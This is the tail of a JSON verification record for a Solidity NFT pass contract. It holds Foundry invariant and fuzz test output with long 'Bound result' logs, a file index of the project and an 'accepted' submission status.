result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 520\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 4\n  Bound result 2\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.06s (5.23s CPU time)\n\nRan 3 tests for test/invariants/BMCIlluminatiPass.invariants.t.sol:BMCIlluminatiPassGatedInvariants\n[PASS]\nBMCIlluminatiPassGatedInvariants invariants:\n[PASS] invariant_actorsOnlyPayForMints\n[PASS] invariant_burnConservation\n[PASS] invariant_burnMatchesMintCount\n[PASS] invariant_gateIsOneWayAndClosedMeansNothingMinted\n[PASS] invariant_revealAccounting\n[PASS] invariant_supplyBoundsAndViews\n[PASS] invariant_tokenStateFollowsRevealOrder\n[PASS] invariant_tokensHeldByActors\n BMCIlluminatiPassGatedInvariants invariants (runs: 40, calls: 6000, reverts: 0)\n\n╭-------------+------------------+-------+---------+----------╮\n| Contract    | Selector         | Calls | Reverts | Discards |\n+=============================================================+\n| PassHandler | advanceBlocks    | 470   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | jumpPastWindow   | 445   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesis      | 486   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesisBatch | 439   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMystery      | 466   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMysteryBatch | 914   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintUnderfunded  | 488   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | openMinting      | 483   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | reveal           | 916   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | setTokenMode     | 435   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | transfer         | 458   | 0       | 0        |\n╰-------------+------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 2\n  Bound result 18\n  Bound result 2\n  Bound result 20\n  Bound result 1\n  Bound result 16\n  Bound result 3\n  Bound result 211\n  Bound result 4\n  Bound result 1\n  Bound result 3\n  Bound result 1923\n  Bound result 0\n  Bound result 464\n  Bound result 2\n  Bound result 1\n  Bound result 276444928100367008800879\n  Bound result 9\n  Bound result 3\n  Bound result 16\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 113\n  Bound result 3\n  Bound result 14\n  Bound result 0\n  Bound result 3\n  Bound result 0\n  Bound result 0\n  Bound result 123456\n  Bound result 13\n  Bound result 0\n  Bound result 294\n  Bound result 3\n  Bound result 501\n  Bound result 3\n  Bound result 3\n  Bound result 0\n  Bound result 3\n  Bound result 3\n  Bound result 0\n  Bound result 3\n  Bound result 18\n  Bound result 2\n  Bound result 3\n  Bound result 96\n  Bound result 3\n  Bound result 0\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 5\n  Bound result 1\n  Bound result 16\n  Bound result 1\n  Bound result 106\n  Bound result 1\n  Bound result 2\n  Bound result 0\n  Bound result 2\n  Bound result 6\n  Bound result 4\n  Bound result 2\n  Bound result 0\n  Bound result 244\n  Bound result 2\n  Bound result 2\n  Bound result 3514649357\n  Bound result 0\n  Bound result 2\n  Bound result 0\n  Bound result 206\n  Bound result 1\n  Bound result 1\n  Bound result 502\n  Bound result 0\n  Bound result 95\n  Bound result 0\n  Bound result 3\n  Bound result 3\n  Bound result 0\n  Bound result 37\n  Bound result 95\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 112\n  Bound result 518\n  Bound result 1\n  Bound result 25\n  Bound result 3\n  Bound result 4\n  Bound result 3\n  Bound result 0\n  Bound result 0\n  Bound result 7\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 0\n  Bound result 19\n  Bound result 2\n  Bound result 23\n  Bound result 4\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 0\n  Bound result 6\n  Bound result 3\n  Bound result 284\n  Bound result 3\n  Bound result 3\n  Bound result 0\n  Bound result 4\n  Bound result 3\n  Bound result 7\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 8\n  Bound result 0\n  Bound result 11023\n  Bound result 3\n  Bound result 101\n  Bound result 0\n  Bound result 0\n  Bound result 2\n  Bound result 256\n  Bound result 2\n  Bound result 3\n  Bound result 6\n  Bound result 12\n  Bound result 0\n  Bound result 500\n  Bound result 0\n  Bound result 4\n  Bound result 1\n  Bound result 17\n  Bound result 2\n  Bound result 100\n  Bound result 2\n  Bound result 0\n  Bound result 13\n  Bound result 2\n  Bound result 2\n  Bound result 0\n  Bound result 0\n  Bound result 36864\n  Bound result 2\n  Bound result 85\n  Bound result 0\n  Bound result 180\n  Bound result 469\n  Bound result 0\n  Bound result 2\n  Bound result 4\n  Bound result 0\n  Bound result 40\n  Bound result 3\n  Bound result 204\n  Bound result 32\n  Bound result 0\n  Bound result 0\n  Bound result 299\n  Bound result 0\n  Bound result 3\n  Bound result 506\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 1\n  Bound result 349999999999999999999997\n  Bound result 40\n  Bound result 3\n  Bound result 2\n  Bound result 17\n  Bound result 1\n  Bound result 3\n  Bound result 30\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 7\n  Bound result 1\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 448791735177001522782359\n  Bound result 0\n  Bound result 96\n  Bound result 1\n  Bound result 5\n\n[PASS] test_NothingMintsBeforeTheOwnerOpens() (gas: 1933828)\nLogs:\n  Bound result 10\n  Bound result 0\n  Bound result 5\n  Bound result 0\n  Bound result 1\n  Bound result 2\n  Bound result 2\n\n[PASS] test_ScriptedSelloutReachesEveryInvariant() (gas: 144088433)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 7\n  Bound result 10\n  Bound result 0\n  Bound result 10\n  Bound result 1\n  Bound result 10\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 8\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 520\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 4\n  Bound result 2\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 9.85s (10.00s CPU time)\n\nRan 3 tests for test/invariants/BMCIlluminatiPass.invariants.t.sol:BMCIlluminatiPassOpenInvariants\n[PASS]\nBMCIlluminatiPassOpenInvariants invariants:\n[PASS] invariant_actorsOnlyPayForMints\n[PASS] invariant_burnConservation\n[PASS] invariant_burnMatchesMintCount\n[PASS] invariant_gateIsOneWayAndClosedMeansNothingMinted\n[PASS] invariant_revealAccounting\n[PASS] invariant_supplyBoundsAndViews\n[PASS] invariant_tokenStateFollowsRevealOrder\n[PASS] invariant_tokensHeldByActors\n BMCIlluminatiPassOpenInvariants invariants (runs: 48, calls: 7200, reverts: 0)\n\n╭-------------+------------------+-------+---------+----------╮\n| Contract    | Selector         | Calls | Reverts | Discards |\n+=============================================================+\n| PassHandler | advanceBlocks    | 555   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | jumpPastWindow   | 545   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesis      | 578   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintGenesisBatch | 537   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMystery      | 561   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintMysteryBatch | 1111  | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | mintUnderfunded  | 579   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | openMinting      | 582   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | reveal           | 1080  | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | setTokenMode     | 537   | 0       | 0        |\n|-------------+------------------+-------+---------+----------|\n| PassHandler | transfer         | 535   | 0       | 0        |\n╰-------------+------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 439\n  Bound result 3\n  Bound result 4\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 8\n  Bound result 3\n  Bound result 4\n  Bound result 0\n  Bound result 290\n  Bound result 4\n  Bound result 3\n  Bound result 2\n  Bound result 18175\n  Bound result 409\n  Bound result 3\n  Bound result 12\n  Bound result 0\n  Bound result 3\n  Bound result 107\n  Bound result 0\n  Bound result 194\n  Bound result 3\n  Bound result 15\n  Bound result 2\n  Bound result 0\n  Bound result 0\n  Bound result 163\n  Bound result 2\n  Bound result 463\n  Bound result 2\n  Bound result 13\n  Bound result 0\n  Bound result 0\n  Bound result 3\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 18\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 59\n  Bound result 1\n  Bound result 161\n  Bound result 0\n  Bound result 20\n  Bound result 0\n  Bound result 0\n  Bound result 2403\n  Bound result 202\n  Bound result 1\n  Bound result 1\n  Bound result 200\n  Bound result 4\n  Bound result 2\n  Bound result 1\n  Bound result 8\n  Bound result 0\n  Bound result 26\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 6\n  Bound result 409\n  Bound result 0\n  Bound result 0\n  Bound result 5\n  Bound result 1\n  Bound result 12345\n  Bound result 6\n  Bound result 256\n  Bound result 1\n  Bound result 8\n  Bound result 3\n  Bound result 0\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 3\n  Bound result 1\n  Bound result 504\n  Bound result 3\n  Bound result 5\n  Bound result 0\n  Bound result 25\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 5\n  Bound result 3\n  Bound result 86\n  Bound result 3\n  Bound result 2\n  Bound result 0\n  Bound result 3\n  Bound result 12\n  Bound result 2\n  Bound result 350\n  Bound result 0\n  Bound result 6\n  Bound result 20\n  Bound result 0\n  Bound result 7\n  Bound result 0\n  Bound result 17\n  Bound result 0\n  Bound result 96\n  Bound result 0\n  Bound result 4\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 7\n  Bound result 0\n  Bound result 0\n  Bound result 10\n  Bound result 5\n  Bound result 2\n  Bound result 16\n  Bound result 2\n  Bound result 8\n  Bound result 1\n  Bound result 1\n  Bound result 3\n  Bound result 10\n  Bound result 2\n  Bound result 1\n  Bound result 4\n  Bound result 1\n  Bound result 0\n  Bound result 4\n  Bound result 1\n  Bound result 3\n  Bound result 40\n  Bound result 3\n  Bound result 463\n  Bound result 3\n  Bound result 0\n  Bound result 6\n  Bound result 0\n  Bound result 250\n  Bound result 3\n  Bound result 37\n  Bound result 1\n  Bound result 5\n  Bound result 0\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 4\n  Bound result 10\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 0\n  Bound result 237\n  Bound result 2\n  Bound result 19\n  Bound result 3\n  Bound result 83\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 105\n  Bound result 3\n  Bound result 2\n  Bound result 5\n  Bound result 2\n  Bound result 20\n  Bound result 0\n  Bound result 7\n  Bound result 2\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 165\n  Bound result 1\n  Bound result 15\n  Bound result 2\n  Bound result 1\n  Bound result 200\n  Bound result 9\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 13\n  Bound result 0\n  Bound result 1\n  Bound result 7710\n  Bound result 0\n  Bound result 35412813819247\n  Bound result 0\n  Bound result 990905553381947520232432\n  Bound result 1\n  Bound result 0\n  Bound result 2\n  Bound result 11\n  Bound result 2\n  Bound result 3\n  Bound result 232718133592219070639458\n  Bound result 10\n  Bound result 3\n  Bound result 6\n  Bound result 2\n  Bound result 0\n  Bound result 16\n  Bound result 2\n  Bound result 0\n  Bound result 0\n\n[PASS] test_ForcedPathIsExercised() (gas: 9500060)\nLogs:\n  Bound result 10\n  Bound result 0\n  Bound result 10\n  Bound result 1\n  Bound result 10\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 5\n  Bound result 0\n  Bound result 300\n  Bound result 10\n  Bound result 0\n\n[PASS] test_ScriptedSelloutReachesEveryInvariant() (gas: 143833377)\nLogs:\n  Bound result 1\n  Bound result 7\n  Bound result 10\n  Bound result 0\n  Bound result 10\n  Bound result 1\n  Bound result 10\n  Bound result 2\n  Bound result 10\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 8\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 20\n  Bound result 3\n  Bound result 2\n  Bound result 25\n  Bound result 3\n  Bound result 20\n  Bound result 0\n  Bound result 2\n  Bound result 25\n  Bound result 0\n  Bound result 20\n  Bound result 1\n  Bound result 2\n  Bound result 25\n  Bound result 1\n  Bound result 20\n  Bound result 2\n  Bound result 2\n  Bound result 25\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 520\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 4\n  Bound result 2\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 16.16s (16.34s CPU time)\n\nRan 7 test suites in 16.17s (32.69s CPU time): 80 tests passed, 0 failed, 2 skipped (82 total tests)\n","passed":true},{"durationMs":1294,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"BMCIlluminatiPass.approve(address,uint256)\",\"BMCIlluminatiPass.mintGenesis()\",\"BMCIlluminatiPass.mintMystery()\",\"BMCIlluminatiPass.openMinting()\",\"BMCIlluminatiPass.renounceOwnership()\",\"BMCIlluminatiPass.reveal(uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256)\",\"BMCIlluminatiPass.safeTransferFrom(address,address,uint256,bytes)\",\"BMCIlluminatiPass.setApprovalForAll(address,bool)\",\"BMCIlluminatiPass.transferFrom(address,address,uint256)\",\"BMCIlluminatiPass.transferOwnership(address)\"],\"files\":{\".github/workflows/main.yml\":45,\".gitignore\":5,\"ADAPTATION.md\":161,\"README.md\":127,\"artwork/genesis/genesis-01.png\":7910,\"artwork/genesis/genesis-02.png\":6998,\"artwork/genesis/genesis-03.png\":7016,\"artwork/genesis/genesis-04.png\":6664,\"artwork/genesis/genesis-05.png\":7186,\"artwork/genesis/genesis-06.png\":6703,\"artwork/genesis/genesis-07.png\":6488,\"artwork/genesis/genesis-08.png\":6807,\"artwork/genesis/genesis-09.png\":6793,\"artwork/genesis/genesis-10.png\":6550,\"artwork/genesis/genesis-11.png\":6125,\"artwork/genesis/genesis-12.png\":6418,\"artwork/genesis/genesis-13.png\":6298,\"artwork/genesis/genesis-14.png\":5909,\"artwork/genesis/genesis-15.png\":6142,\"artwork/genesis/genesis-16.png\":5727,\"artwork/genesis/genesis-17.png\":6019,\"artwork/genesis/genesis-18.png\":399,\"artwork/genesis/genesis-19.png\":369,\"artwork/genesis/genesis-20.png\":359,\"artwork/genesis/genesis-21.png\":330,\"artwork/genesis/genesis-22.png\":385,\"artwork/genesis/genesis-23.png\":391,\"artwork/genesis/genesis-24.png\":411,\"artwork/genesis/genesis-25.png\":393,\"artwork/genesis/genesis-26.png\":390,\"artwork/genesis/genesis-27.png\":386,\"artwork/genesis/genesis-28.png\":402,\"artwork/genesis/genesis-29.png\":375,\"artwork/genesis/genesis-30.png\":369,\"artwork/genesis/genesis-31.png\":421,\"artwork/genesis/genesis-32.png\":338,\"artwork/genesis/genesis-33.png\":389,\"artwork/genesis/genesis-34.png\":365,\"artwork/genesis/genesis-35.png\":352,\"artwork/genesis/genesis-36.png\":384,\"artwork/genesis/genesis-37.png\":365,\"artwork/genesis/genesis-38.png\":438,\"artwork/genesis/genesis-39.png\":374,\"artwork/genesis/genesis-40.png\":411,\"artwork/genesis/genesis-41.png\":380,\"artwork/genesis/genesis-42.png\":377,\"artwork/genesis/genesis-43.png\":399,\"artwork/genesis/genesis-44.png\":385,\"artwork/genesis/genesis-45.png\":352,\"artwork/genesis/genesis-46.png\":343,\"artwork/genesis/genesis-47.png\":362,\"artwork/genesis/genesis-48.png\":408,\"artwork/genesis/genesis-49.png\":325,\"artwork/genesis/genesis-50.png\":433,\"artwork/genesis/genesis-51.png\":377,\"artwork/genesis/genesis-52.png\":376,\"artwork/genesis/genesis-53.png\":401,\"artwork/genesis/genesis-54.png\":389,\"artwork/genesis/genesis-55.png\":361,\"artwork/genesis/genesis-56.png\":332,\"artwork/genesis/genesis-57.png\":414,\"artwork/genesis/genesis-58.png\":405,\"artwork/genesis/genesis-59.png\":409,\"artwork/genesis/genesis-60.png\":405,\"artwork/genesis/genesis-61.png\":369,\"artwork/genesis/genesis-62.png\":366,\"artwork/genesis/genesis-63.png\":379,\"artwork/genesis/genesis-64.png\":425,\"artwork/genesis/genesis-65.png\":406,\"artwork/genesis/genesis-66.png\":413,\"artwork/genesis/genesis-67.png\":350,\"artwork/genesis/genesis-68.png\":404,\"artwork/genesis/genesis-69.png\":392,\"artwork/genesis/genesis-70.png\":378,\"artwork/genesis/genesis-71.png\":401,\"artwork/genesis/genesis-72.png\":355,\"artwork/genesis/genesis-73.png\":405,\"artwork/genesis/genesis-74.png\":394,\"artwork/genesis/genesis-75.png\":390,\"artwork/genesis/genesis-76.png\":424,\"artwork/genesis/genesis-77.png\":381,\"artwork/tools/generate_genesis.py\":206,\"docs/LAUNCH.md\":105,\"docs/SECURITY-REVIEW.md\":106,\"docs/TEST-RESULTS.md\":86,\"docs/genesis-verification.json\":932,\"docs/website-preservation.json\":33,\"foundry.toml\":25,\"remappings.txt\":3,\"script/Deploy.s.sol\":31,\"script/export_website_abi.py\":30,\"script/verify_genesis.py\":75,\"src/BMCIlluminatiPass.sol\":474,\"src/StandardArt.sol\":236,\"src/interfaces/IBMCToken.sol\":18,\"test/BMCIlluminatiPass.t.sol\":993,\"test/BMCIlluminatiPassEdges.t.sol\":595,\"test/BMCMainnetFork.t.sol\":81,\"test/FactoryCompatibility.t.sol\":48,\"test/invariants/BMCIlluminatiPass.invariants.t.sol\":315,\"test/invariants/PassHandler.sol\":448,\"test/mocks/MisbehavingBMC.sol\":101,\"test/mocks/MockBMC.sol\":42,\"test/tools/test_artwork.py\":49,\"test/tools/test_routes.py\":45,\"test/website/contract-integration.test.cjs\":99,\"test/website/harness.cjs\":123,\"test/website/mint-client.test.cjs\":189,\"test/website/page.test.cjs\":95,\"website/app.js\":148,\"website/assets/index-C3VUAmkN.js\":44,\"website/assets/index-CPnoBN9P.css\":1,\"website/bmc-abi.js\":127,\"website/config.js\":25,\"website/favicon-32.png\":5,\"website/favicon.svg\":1,\"website/index.html\":31,\"website/mint-client.js\":412,\"website/mint-nav.css\":4,\"website/mint-nav.js\":16,\"website/mint/index.html\":137,\"website/og.png\":233,\"website/pass-abi.js\":1289,\"website/styles.css\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a1181188c10abfc1a28fd28632383566d8dffde4f042a6ca89ebbd28457b4487","verifiedTreeHash":"d2eeeb7ac299ffb067a56765be28b822f4f8e286","verifierVersion":"0.1.0+f0753cb7"}]}